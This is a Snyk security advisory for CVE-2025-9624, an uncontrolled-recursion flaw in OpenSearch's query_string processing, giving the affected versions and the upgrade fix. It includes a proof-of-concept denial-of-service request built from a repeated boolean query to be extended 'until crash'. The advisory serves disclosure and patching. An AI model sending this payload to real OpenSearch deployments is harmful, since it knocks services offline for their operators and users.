Uncontrolled Recursion Affecting org.opensearch:opensearch package, versions [,2.19.4)[3.0.0-alpha1,3.3.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGOPENSEARCH-14122812
  • published27 Nov 2025
  • disclosed25 Nov 2025
  • creditCamilo Vera

Introduced: 25 Nov 2025

NewCVE-2025-9624  (opens in a new tab)
CWE-674  (opens in a new tab)

How to fix?

Upgrade org.opensearch:opensearch to version 2.19.4, 3.3.0 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the query_string processing. An attacker can exhaust system resources and disrupt service availability by submitting excessively long Boolean or disjunction queries.

PoC

GET _search

{
  "query": {
    "query_string": {
      "query": "winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising)
                      winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising)
                      winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising)
                      winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising)
                      winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising)
                      winAd AND (rises OR rising) winAd AND (rises OR rising)" ... REPEAT UNTIL CRASH
    }
  }
}

CVSS Base Scores

version 4.0
version 3.1